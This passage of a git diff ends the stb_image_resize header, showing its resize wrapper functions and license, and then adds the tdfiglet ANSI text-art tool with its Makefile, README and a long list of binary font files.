+        0,0,1,1,NULL,num_channels,-1,0, STBIR_TYPE_UINT8, STBIR_FILTER_DEFAULT, STBIR_FILTER_DEFAULT,
+        STBIR_EDGE_CLAMP, STBIR_EDGE_CLAMP, STBIR_COLORSPACE_LINEAR);
+}
+
+STBIRDEF int stbir_resize_float(     const float *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           float *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels)
+{
+    return stbir__resize_arbitrary(NULL, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,-1,0, STBIR_TYPE_FLOAT, STBIR_FILTER_DEFAULT, STBIR_FILTER_DEFAULT,
+        STBIR_EDGE_CLAMP, STBIR_EDGE_CLAMP, STBIR_COLORSPACE_LINEAR);
+}
+
+STBIRDEF int stbir_resize_uint8_srgb(const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels, int alpha_channel, int flags)
+{
+    return stbir__resize_arbitrary(NULL, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_UINT8, STBIR_FILTER_DEFAULT, STBIR_FILTER_DEFAULT,
+        STBIR_EDGE_CLAMP, STBIR_EDGE_CLAMP, STBIR_COLORSPACE_SRGB);
+}
+
+STBIRDEF int stbir_resize_uint8_srgb_edgemode(const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                                    unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                              int num_channels, int alpha_channel, int flags,
+                                              stbir_edge edge_wrap_mode)
+{
+    return stbir__resize_arbitrary(NULL, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_UINT8, STBIR_FILTER_DEFAULT, STBIR_FILTER_DEFAULT,
+        edge_wrap_mode, edge_wrap_mode, STBIR_COLORSPACE_SRGB);
+}
+
+STBIRDEF int stbir_resize_uint8_generic( const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                               unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_UINT8, filter, filter,
+        edge_wrap_mode, edge_wrap_mode, space);
+}
+
+STBIRDEF int stbir_resize_uint16_generic(const stbir_uint16 *input_pixels  , int input_w , int input_h , int input_stride_in_bytes,
+                                               stbir_uint16 *output_pixels , int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_UINT16, filter, filter,
+        edge_wrap_mode, edge_wrap_mode, space);
+}
+
+
+STBIRDEF int stbir_resize_float_generic( const float *input_pixels         , int input_w , int input_h , int input_stride_in_bytes,
+                                               float *output_pixels        , int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, STBIR_TYPE_FLOAT, filter, filter,
+        edge_wrap_mode, edge_wrap_mode, space);
+}
+
+
+STBIRDEF int stbir_resize(         const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,NULL,num_channels,alpha_channel,flags, datatype, filter_horizontal, filter_vertical,
+        edge_mode_horizontal, edge_mode_vertical, space);
+}
+
+
+STBIRDEF int stbir_resize_subpixel(const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context,
+                                   float x_scale, float y_scale,
+                                   float x_offset, float y_offset)
+{
+    float transform[4];
+    transform[0] = x_scale;
+    transform[1] = y_scale;
+    transform[2] = x_offset;
+    transform[3] = y_offset;
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        0,0,1,1,transform,num_channels,alpha_channel,flags, datatype, filter_horizontal, filter_vertical,
+        edge_mode_horizontal, edge_mode_vertical, space);
+}
+
+STBIRDEF int stbir_resize_region(  const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context,
+                                   float s0, float t0, float s1, float t1)
+{
+    return stbir__resize_arbitrary(alloc_context, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
+        s0,t0,s1,t1,NULL,num_channels,alpha_channel,flags, datatype, filter_horizontal, filter_vertical,
+        edge_mode_horizontal, edge_mode_vertical, space);
+}
+
+#endif // STB_IMAGE_RESIZE_IMPLEMENTATION
+
+/*
+------------------------------------------------------------------------------
+This software is available under 2 licenses -- choose whichever you prefer.
+------------------------------------------------------------------------------
+ALTERNATIVE A - MIT License
+Copyright (c) 2017 Sean Barrett
+Permission is hereby granted, free of charge, to any person obtaining a copy of 
+this software and associated documentation files (the "Software"), to deal in 
+the Software without restriction, including without limitation the rights to 
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 
+of the Software, and to permit persons to whom the Software is furnished to do 
+so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all 
+copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 
+SOFTWARE.
+------------------------------------------------------------------------------
+ALTERNATIVE B - Public Domain (www.unlicense.org)
+This is free and unencumbered software released into the public domain.
+Anyone is free to copy, modify, publish, use, compile, sell, or distribute this 
+software, either in source code form or as a compiled binary, for any purpose, 
+commercial or non-commercial, and by any means.
+In jurisdictions that recognize copyright laws, the author or authors of this 
+software dedicate any and all copyright interest in the software to the public 
+domain. We make this dedication for the benefit of the public at large and to 
+the detriment of our heirs and successors. We intend this dedication to be an 
+overt act of relinquishment in perpetuity of all present and future rights to 
+this software under copyright law.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
+AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN 
+ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+------------------------------------------------------------------------------
+*/
diff --git a/art/tdfiglet/Makefile b/art/tdfiglet/Makefile
new file mode 100644
index 0000000..701737a
--- /dev/null
+++ b/art/tdfiglet/Makefile
@@ -0,0 +1,36 @@
+PROG := tdfiglet
+SRC := tdfiglet.c
+PREFIX ?= /usr/local
+FONTS := fonts/*
+FONTDIR := $(PREFIX)/share/$(PROG)/fonts
+CC ?= cc
+CFLAGS += -DFONT_DIR=\"$(FONTDIR)\" -std=c99 -Wall
+DFLAGS = -g
+UNAME := $(shell sh -c 'uname -s 2>/dev/null')
+
+ifeq ($(UNAME), Darwin)
+	CC = clang
+	CFLAGS += -Wunused-result -Wunused-value
+	DLAGS += -fsanitize=address -fsanitize=undefined -fsanitize=leak
+	LDFLAGS += -liconv
+endif
+
+default: $(SRC)
+	$(CC) $(CFLAGS) $(LDFLAGS) $(SRC) -o $(PROG)
+
+.PHONY: debug clean install
+
+install:
+	test -d $(PREFIX)/bin || mkdir -p $(PREFIX)/bin
+	cp $(PROG) $(PREFIX)/bin
+	test -d $(FONTDIR) || mkdir -p $(FONTDIR)
+	rm -f $(FONTDIR)/*.tdf
+	for i in $(FONTS) ; do cp -v $$i $(FONTDIR) ; done
+	chmod ugo+r $(FONTDIR)/*.tdf
+
+debug: $(SRC)
+	$(CC) -DDEBUG $(CFLAGS) $(DFLAGS) $(LDFLAGS) $(SRC) -o $(PROG)
+
+clean:
+	rm -rf $(PROG) $(PROG).dSYM
+
diff --git a/art/tdfiglet/README.md b/art/tdfiglet/README.md
new file mode 100644
index 0000000..e9e8d53
--- /dev/null
+++ b/art/tdfiglet/README.md
@@ -0,0 +1,31 @@
+
+# tdfiglet
+
+Because your figlet ascii sucks.
+
+![screenshot](https://git.trollforge.org/tdfiglet/plain/screenshot.png)
+
+All known TDF fonts (1198) are included.
+## Installation
+
+```
+make
+sudo make install
+```
+
+## Usage
+
+If you're just trying to spam irc `tdfiglet -cm yes hello` will suffice.
+
+```
+usage: tdfiglet [options] -f [font] input
+
+    -f [font] Specify font file used.
+    -j l|r|c  Justify left, right, or center.  Default is left.
+    -w n      Set screen width.  Default is 80.
+    -c a|m    Color format ANSI or mirc.  Default is ANSI.
+    -e u|a    Encode as unicode or ASCII.  Default is unicode.
+    -i        Print font details.
+    -r        Use random font.
+    -h        Print usage.
+```
diff --git a/art/tdfiglet/fonts/1911.tdf b/art/tdfiglet/fonts/1911.tdf
new file mode 100644
index 0000000..fcb2762
Binary files /dev/null and b/art/tdfiglet/fonts/1911.tdf differ
diff --git a/art/tdfiglet/fonts/1911x.tdf b/art/tdfiglet/fonts/1911x.tdf
new file mode 100644
index 0000000..e785dde
Binary files /dev/null and b/art/tdfiglet/fonts/1911x.tdf differ
diff --git a/art/tdfiglet/fonts/208.tdf b/art/tdfiglet/fonts/208.tdf
new file mode 100644
index 0000000..45ef402
Binary files /dev/null and b/art/tdfiglet/fonts/208.tdf differ
diff --git a/art/tdfiglet/fonts/208x.tdf b/art/tdfiglet/fonts/208x.tdf
new file mode 100644
index 0000000..7c18c11
Binary files /dev/null and b/art/tdfiglet/fonts/208x.tdf differ
diff --git a/art/tdfiglet/fonts/3d-ascii.tdf b/art/tdfiglet/fonts/3d-ascii.tdf
new file mode 100644
index 0000000..e1fcae8
Binary files /dev/null and b/art/tdfiglet/fonts/3d-ascii.tdf differ
diff --git a/art/tdfiglet/fonts/4maxcol.tdf b/art/tdfiglet/fonts/4maxcol.tdf
new file mode 100644
index 0000000..29be11b
Binary files /dev/null and b/art/tdfiglet/fonts/4maxcol.tdf differ
diff --git a/art/tdfiglet/fonts/aaa.tdf b/art/tdfiglet/fonts/aaa.tdf
new file mode 100644
index 0000000..5c1f550
Binary files /dev/null and b/art/tdfiglet/fonts/aaa.tdf differ
diff --git a/art/tdfiglet/fonts/aaax.tdf b/art/tdfiglet/fonts/aaax.tdf
new file mode 100644
index 0000000..3b43de9
Binary files /dev/null and b/art/tdfiglet/fonts/aaax.tdf differ
diff --git a/art/tdfiglet/fonts/aardvark.tdf b/art/tdfiglet/fonts/aardvark.tdf
new file mode 100644
index 0000000..0996311
Binary files /dev/null and b/art/tdfiglet/fonts/aardvark.tdf differ
diff --git a/art/tdfiglet/fonts/abbadon.tdf b/art/tdfiglet/fonts/abbadon.tdf
new file mode 100644
index 0000000..de9848e
Binary files /dev/null and b/art/tdfiglet/fonts/abbadon.tdf differ
diff --git a/art/tdfiglet/fonts/access.tdf b/art/tdfiglet/fonts/access.tdf
new file mode 100644
index 0000000..e6227c3
Binary files /dev/null and b/art/tdfiglet/fonts/access.tdf differ
diff --git a/art/tdfiglet/fonts/acheronx.tdf b/art/tdfiglet/fonts/acheronx.tdf
new file mode 100644
index 0000000..49580c6
Binary files /dev/null and b/art/tdfiglet/fonts/acheronx.tdf differ
diff --git a/art/tdfiglet/fonts/acid3dx.tdf b/art/tdfiglet/fonts/acid3dx.tdf
new file mode 100644
index 0000000..e30c934
Binary files /dev/null and b/art/tdfiglet/fonts/acid3dx.tdf differ
diff --git a/art/tdfiglet/fonts/acidnewx.tdf b/art/tdfiglet/fonts/acidnewx.tdf
new file mode 100644
index 0000000..d3cbb82
Binary files /dev/null and b/art/tdfiglet/fonts/acidnewx.tdf differ
diff --git a/art/tdfiglet/fonts/acidsc2x.tdf b/art/tdfiglet/fonts/acidsc2x.tdf
new file mode 100644
index 0000000..06148c9
Binary files /dev/null and b/art/tdfiglet/fonts/acidsc2x.tdf differ
diff --git a/art/tdfiglet/fonts/acidscpx.tdf b/art/tdfiglet/fonts/acidscpx.tdf
new file mode 100644
index 0000000..c05de4c
Binary files /dev/null and b/art/tdfiglet/fonts/acidscpx.tdf differ
diff --git a/art/tdfiglet/fonts/acidtron.tdf b/art/tdfiglet/fonts/acidtron.tdf
new file mode 100644
index 0000000..4b7ea1a
Binary files /dev/null and b/art/tdfiglet/fonts/acidtron.tdf differ
diff --git a/art/tdfiglet/fonts/acidx.tdf b/art/tdfiglet/fonts/acidx.tdf
new file mode 100644
index 0000000..df61d6a
Binary files /dev/null and b/art/tdfiglet/fonts/acidx.tdf differ
diff --git a/art/tdfiglet/fonts/acrylicx.tdf b/art/tdfiglet/fonts/acrylicx.tdf
new file mode 100644
index 0000000..04a7c4b
Binary files /dev/null and b/art/tdfiglet/fonts/acrylicx.tdf differ
diff --git a/art/tdfiglet/fonts/adomex.tdf b/art/tdfiglet/fonts/adomex.tdf
new file mode 100644
index 0000000..bedb10f
Binary files /dev/null and b/art/tdfiglet/fonts/adomex.tdf differ
diff --git a/art/tdfiglet/fonts/adrenax.tdf b/art/tdfiglet/fonts/adrenax.tdf
new file mode 100644
index 0000000..ef72081
Binary files /dev/null and b/art/tdfiglet/fonts/adrenax.tdf differ
diff --git a/art/tdfiglet/fonts/adrknesx.tdf b/art/tdfiglet/fonts/adrknesx.tdf
new file mode 100644
index 0000000..98e2a82
Binary files /dev/null and b/art/tdfiglet/fonts/adrknesx.tdf differ
diff --git a/art/tdfiglet/fonts/advocate.tdf b/art/tdfiglet/fonts/advocate.tdf
new file mode 100644
index 0000000..b70cffa
Binary files /dev/null and b/art/tdfiglet/fonts/advocate.tdf differ
diff --git a/art/tdfiglet/fonts/aftrdarx.tdf b/art/tdfiglet/fonts/aftrdarx.tdf
new file mode 100644
index 0000000..aa8c788
Binary files /dev/null and b/art/tdfiglet/fonts/aftrdarx.tdf differ
diff --git a/art/tdfiglet/fonts/aftrhoux.tdf b/art/tdfiglet/fonts/aftrhoux.tdf
new file mode 100644
index 0000000..a153f17
Binary files /dev/null and b/art/tdfiglet/fonts/aftrhoux.tdf differ
diff --git a/art/tdfiglet/fonts/agony.tdf b/art/tdfiglet/fonts/agony.tdf
new file mode 100644
index 0000000..54adac8
Binary files /dev/null and b/art/tdfiglet/fonts/agony.tdf differ
diff --git a/art/tdfiglet/fonts/agony2x.tdf b/art/tdfiglet/fonts/agony2x.tdf
new file mode 100644
index 0000000..4381ec5
Binary files /dev/null and b/art/tdfiglet/fonts/agony2x.tdf differ
diff --git a/art/tdfiglet/fonts/alchemyx.tdf b/art/tdfiglet/fonts/alchemyx.tdf
new file mode 100644
index 0000000..a2e5c9b
Binary files /dev/null and b/art/tdfiglet/fonts/alchemyx.tdf differ
diff --git a/art/tdfiglet/fonts/alfheimx.tdf b/art/tdfiglet/fonts/alfheimx.tdf
new file mode 100644
index 0000000..198770d
Binary files /dev/null and b/art/tdfiglet/fonts/alfheimx.tdf differ
diff --git a/art/tdfiglet/fonts/alienled.tdf b/art/tdfiglet/fonts/alienled.tdf
new file mode 100644
index 0000000..f9abc19
Binary files /dev/null and b/art/tdfiglet/fonts/alienled.tdf differ
diff --git a/art/tdfiglet/fonts/alphax.tdf b/art/tdfiglet/fonts/alphax.tdf
new file mode 100644
index 0000000..68e8957
Binary files /dev/null and b/art/tdfiglet/fonts/alphax.tdf differ
diff --git a/art/tdfiglet/fonts/amazonx.tdf b/art/tdfiglet/fonts/amazonx.tdf
new file mode 100644
index 0000000..70e5388
Binary files /dev/null and b/art/tdfiglet/fonts/amazonx.tdf differ
diff --git a/art/tdfiglet/fonts/ambush2.tdf b/art/tdfiglet/fonts/ambush2.tdf
new file mode 100644
index 0000000..6d3837b
Binary files /dev/null and b/art/tdfiglet/fonts/ambush2.tdf differ
diff --git a/art/tdfiglet/fonts/ambushs.tdf b/art/tdfiglet/fonts/ambushs.tdf
new file mode 100644
index 0000000..f054200
Binary files /dev/null and b/art/tdfiglet/fonts/ambushs.tdf differ
diff --git a/art/tdfiglet/fonts/ambushx.tdf b/art/tdfiglet/fonts/ambushx.tdf
new file mode 100644
index 0000000..9ddb0ce
Binary files /dev/null and b/art/tdfiglet/fonts/ambushx.tdf differ
diff --git a/art/tdfiglet/fonts/amcneko.tdf b/art/tdfiglet/fonts/amcneko.tdf
new file mode 100644
index 0000000..2654db5
Binary files /dev/null and b/art/tdfiglet/fonts/amcneko.tdf differ
diff --git a/art/tdfiglet/fonts/amnesia.tdf b/art/tdfiglet/fonts/amnesia.tdf
new file mode 100644
index 0000000..242ebee
Binary files /dev/null and b/art/tdfiglet/fonts/amnesia.tdf differ
diff --git a/art/tdfiglet/fonts/amnesiax.tdf b/art/tdfiglet/fonts/amnesiax.tdf
new file mode 100644
index 0000000..75a462c
Binary files /dev/null and b/art/tdfiglet/fonts/amnesiax.tdf differ
diff --git a/art/tdfiglet/fonts/anarchyx.tdf b/art/tdfiglet/fonts/anarchyx.tdf
new file mode 100644
index 0000000..155b9c6
Binary files /dev/null and b/art/tdfiglet/fonts/anarchyx.tdf differ
diff --git a/art/tdfiglet/fonts/andromed.tdf b/art/tdfiglet/fonts/andromed.tdf
new file mode 100644
index 0000000..692cca6
Binary files /dev/null and b/art/tdfiglet/fonts/andromed.tdf differ
diff --git a/art/tdfiglet/fonts/anemiax.tdf b/art/tdfiglet/fonts/anemiax.tdf
new file mode 100644
index 0000000..61580d8
Binary files /dev/null and b/art/tdfiglet/fonts/anemiax.tdf differ
diff --git a/art/tdfiglet/fonts/anemiaxx.tdf b/art/tdfiglet/fonts/anemiaxx.tdf
new file mode 100644
index 0000000..e6f5388
Binary files /dev/null and b/art/tdfiglet/fonts/anemiaxx.tdf differ
diff --git a/art/tdfiglet/fonts/angldust.tdf b/art/tdfiglet/fonts/angldust.tdf
new file mode 100644
index 0000000..77fdb64
Binary files /dev/null and b/art/tdfiglet/fonts/angldust.tdf differ
diff --git a/art/tdfiglet/fonts/anniverx.tdf b/art/tdfiglet/fonts/anniverx.tdf
new file mode 100644
index 0000000..160a5ef
Binary files /dev/null and b/art/tdfiglet/fonts/anniverx.tdf differ
diff --git a/art/tdfiglet/fonts/anomalix.tdf b/art/tdfiglet/fonts/anomalix.tdf
new file mode 100644
index 0000000..539eec3
Binary files /dev/null and b/art/tdfiglet/fonts/anomalix.tdf differ
diff --git a/art/tdfiglet/fonts/apocal2x.tdf b/art/tdfiglet/fonts/apocal2x.tdf
new file mode 100644
index 0000000..c022275
Binary files /dev/null and b/art/tdfiglet/fonts/apocal2x.tdf differ
diff --git a/art/tdfiglet/fonts/apotm.tdf b/art/tdfiglet/fonts/apotm.tdf
new file mode 100644
index 0000000..aebbe43
Binary files /dev/null and b/art/tdfiglet/fonts/apotm.tdf differ
diff --git a/art/tdfiglet/fonts/apovisnx.tdf b/art/tdfiglet/fonts/apovisnx.tdf
new file mode 100644
index 0000000..c62bcfe
Binary files /dev/null and b/art/tdfiglet/fonts/apovisnx.tdf differ
diff --git a/art/tdfiglet/fonts/appocalx.tdf b/art/tdfiglet/fonts/appocalx.tdf
new file mode 100644
index 0000000..aec5df4
Binary files /dev/null and b/art/tdfiglet/fonts/appocalx.tdf differ
diff --git a/art/tdfiglet/fonts/arcane.tdf b/art/tdfiglet/fonts/arcane.tdf
new file mode 100644
index 0000000..ed2a585
Binary files /dev/null and b/art/tdfiglet/fonts/arcane.tdf differ
diff --git a/art/tdfiglet/fonts/archana.tdf b/art/tdfiglet/fonts/archana.tdf
new file mode 100644
index 0000000..50ce2ae
Binary files /dev/null and b/art/tdfiglet/fonts/archana.tdf differ
diff --git a/art/tdfiglet/fonts/areaconx.tdf b/art/tdfiglet/fonts/areaconx.tdf
new file mode 100644
index 0000000..7e4efbb
Binary files /dev/null and b/art/tdfiglet/fonts/areaconx.tdf differ
diff --git a/art/tdfiglet/fonts/areax.tdf b/art/tdfiglet/fonts/areax.tdf
new file mode 100644
index 0000000..4330b72
Binary files /dev/null and b/art/tdfiglet/fonts/areax.tdf differ
diff --git a/art/tdfiglet/fonts/armagdnx.tdf b/art/tdfiglet/fonts/armagdnx.tdf
new file mode 100644
index 0000000..cea96b7
Binary files /dev/null and b/art/tdfiglet/fonts/armagdnx.tdf differ
diff --git a/art/tdfiglet/fonts/ascii.tdf b/art/tdfiglet/fonts/ascii.tdf
new file mode 100644
index 0000000..a8e2087
Binary files /dev/null and b/art/tdfiglet/fonts/ascii.tdf differ
diff --git a/art/tdfiglet/fonts/assylum.tdf b/art/tdfiglet/fonts/assylum.tdf
new file mode 100644
index 0000000..6d93932
Binary files /dev/null and b/art/tdfiglet/fonts/assylum.tdf differ
diff --git a/art/tdfiglet/fonts/assylumx.tdf b/art/tdfiglet/fonts/assylumx.tdf
new file mode 100644
index 0000000..6d22cd9
Binary files /dev/null and b/art/tdfiglet/fonts/assylumx.tdf differ
diff --git a/art/tdfiglet/fonts/astronmx.tdf b/art/tdfiglet/fonts/astronmx.tdf
new file mode 100644
index 0000000..f6f89fb
Binary files /dev/null and b/art/tdfiglet/fonts/astronmx.tdf differ
diff --git a/art/tdfiglet/fonts/asylumx.tdf b/art/tdfiglet/fonts/asylumx.tdf
new file mode 100644
index 0000000..f597ae0
Binary files /dev/null and b/art/tdfiglet/fonts/asylumx.tdf differ
diff --git a/art/tdfiglet/fonts/atbx.tdf b/art/tdfiglet/fonts/atbx.tdf
new file mode 100644
index 0000000..30f3808
Binary files /dev/null and b/art/tdfiglet/fonts/atbx.tdf differ
diff --git a/art/tdfiglet/fonts/atlansmx.tdf b/art/tdfiglet/fonts/atlansmx.tdf
new file mode 100644
index 0000000..9386100
Binary files /dev/null and b/art/tdfiglet/fonts/atlansmx.tdf differ
diff --git a/art/tdfiglet/fonts/atlantix.tdf b/art/tdfiglet/fonts/atlantix.tdf
new file mode 100644
index 0000000..e7f328b
Binary files /dev/null and b/art/tdfiglet/fonts/atlantix.tdf differ
diff --git a/art/tdfiglet/fonts/atomicx.tdf b/art/tdfiglet/fonts/atomicx.tdf
new file mode 100644
index 0000000..62d49a3
Binary files /dev/null and b/art/tdfiglet/fonts/atomicx.tdf differ
diff --git a/art/tdfiglet/fonts/atomx.tdf b/art/tdfiglet/fonts/atomx.tdf
new file mode 100644
index 0000000..87a7be2
Binary files /dev/null and b/art/tdfiglet/fonts/atomx.tdf differ
diff --git a/art/tdfiglet/fonts/attitudx.tdf b/art/tdfiglet/fonts/attitudx.tdf
new file mode 100644
index 0000000..c0a6ea7
Binary files /dev/null and b/art/tdfiglet/fonts/attitudx.tdf differ
diff --git a/art/tdfiglet/fonts/audiofil.tdf b/art/tdfiglet/fonts/audiofil.tdf
new file mode 100644
index 0000000..4b0dab1
Binary files /dev/null and b/art/tdfiglet/fonts/audiofil.tdf differ
diff --git a/art/tdfiglet/fonts/badlandx.tdf b/art/tdfiglet/fonts/badlandx.tdf
new file mode 100644
index 0000000..6645794
Binary files /dev/null and b/art/tdfiglet/fonts/badlandx.tdf differ
diff --git a/art/tdfiglet/fonts/balistcx.tdf b/art/tdfiglet/fonts/balistcx.tdf
new file mode 100644
index 0000000..b38c7a1
Binary files /dev/null and b/art/tdfiglet/fonts/balistcx.tdf differ
diff --git a/art/tdfiglet/fonts/bamboosx.tdf b/art/tdfiglet/fonts/bamboosx.tdf
new file mode 100644
index 0000000..b8dafb2
Binary files /dev/null and b/art/tdfiglet/fonts/bamboosx.tdf differ
diff --git a/art/tdfiglet/fonts/banshee.tdf b/art/tdfiglet/fonts/banshee.tdf
new file mode 100644
index 0000000..bfbe7ce
Binary files /dev/null and b/art/tdfiglet/fonts/banshee.tdf differ
diff --git a/art/tdfiglet/fonts/bansheex.tdf b/art/tdfiglet/fonts/bansheex.tdf
new file mode 100644
index 0000000..f81dee2
Binary files /dev/null and b/art/tdfiglet/fonts/bansheex.tdf differ
diff --git a/art/tdfiglet/fonts/bbstx.tdf b/art/tdfiglet/fonts/bbstx.tdf
new file mode 100644
index 0000000..6928a11
Binary files /dev/null and b/art/tdfiglet/fonts/bbstx.tdf differ
diff --git a/art/tdfiglet/fonts/beast.tdf b/art/tdfiglet/fonts/beast.tdf
new file mode 100644
index 0000000..38d227c
Binary files /dev/null and b/art/tdfiglet/fonts/beast.tdf differ
diff --git a/art/tdfiglet/fonts/belfastx.tdf b/art/tdfiglet/fonts/belfastx.tdf
new file mode 100644
index 0000000..6a8d224
Binary files /dev/null and b/art/tdfiglet/fonts/belfastx.tdf differ
diff --git a/art/tdfiglet/fonts/bevisiox.tdf b/art/tdfiglet/fonts/bevisiox.tdf
new file mode 100644
index 0000000..27e8a08
Binary files /dev/null and b/art/tdfiglet/fonts/bevisiox.tdf differ
diff --git a/art/tdfiglet/fonts/beyond2x.tdf b/art/tdfiglet/fonts/beyond2x.tdf
new file mode 100644
index 0000000..ee2110c
Binary files /dev/null and b/art/tdfiglet/fonts/beyond2x.tdf differ
diff --git a/art/tdfiglet/fonts/beyondx.tdf b/art/tdfiglet/fonts/beyondx.tdf
new file mode 100644
index 0000000..fb87f5d
Binary files /dev/null and b/art/tdfiglet/fonts/beyondx.tdf differ
diff --git a/art/tdfiglet/fonts/bigice_f.tdf b/art/tdfiglet/fonts/bigice_f.tdf
new file mode 100644
index 0000000..0dc4b57
Binary files /dev/null and b/art/tdfiglet/fonts/bigice_f.tdf differ
diff --git a/art/tdfiglet/fonts/bigl2.tdf b/art/tdfiglet/fonts/bigl2.tdf
new file mode 100644
index 0000000..367c454
Binary files /dev/null and b/art/tdfiglet/fonts/bigl2.tdf differ
diff --git a/art/tdfiglet/fonts/biglimpy.tdf b/art/tdfiglet/fonts/biglimpy.tdf
new file mode 100644
index 0000000..dd3d965
Binary files /dev/null and b/art/tdfiglet/fonts/biglimpy.tdf differ
diff --git a/art/tdfiglet/fonts/biohazrx.tdf b/art/tdfiglet/fonts/biohazrx.tdf
new file mode 100644
index 0000000..873ef2b
Binary files /dev/null and b/art/tdfiglet/fonts/biohazrx.tdf differ
diff --git a/art/tdfiglet/fonts/bismarcx.tdf b/art/tdfiglet/fonts/bismarcx.tdf
new file mode 100644
index 0000000..2618e8e
Binary files /dev/null and b/art/tdfiglet/fonts/bismarcx.tdf differ
diff --git a/art/tdfiglet/fonts/bitchvrx.tdf b/art/tdfiglet/fonts/bitchvrx.tdf
new file mode 100644
index 0000000..2cc21e6
Binary files /dev/null and b/art/tdfiglet/fonts/bitchvrx.tdf differ
diff --git a/art/tdfiglet/fonts/bizarrax.tdf b/art/tdfiglet/fonts/bizarrax.tdf
new file mode 100644
index 0000000..76d4384
Binary files /dev/null and b/art/tdfiglet/fonts/bizarrax.tdf differ
diff --git a/art/tdfiglet/fonts/blacksun.tdf b/art/tdfiglet/fonts/blacksun.tdf
new file mode 100644
index 0000000..1617932
Binary files /dev/null and b/art/tdfiglet/fonts/blacksun.tdf differ
diff --git a/art/tdfiglet/fonts/blacksux.tdf b/art/tdfiglet/fonts/blacksux.tdf
new file mode 100644
index 0000000..e64a5e1
Binary files /dev/null and b/art/tdfiglet/fonts/blacksux.tdf differ
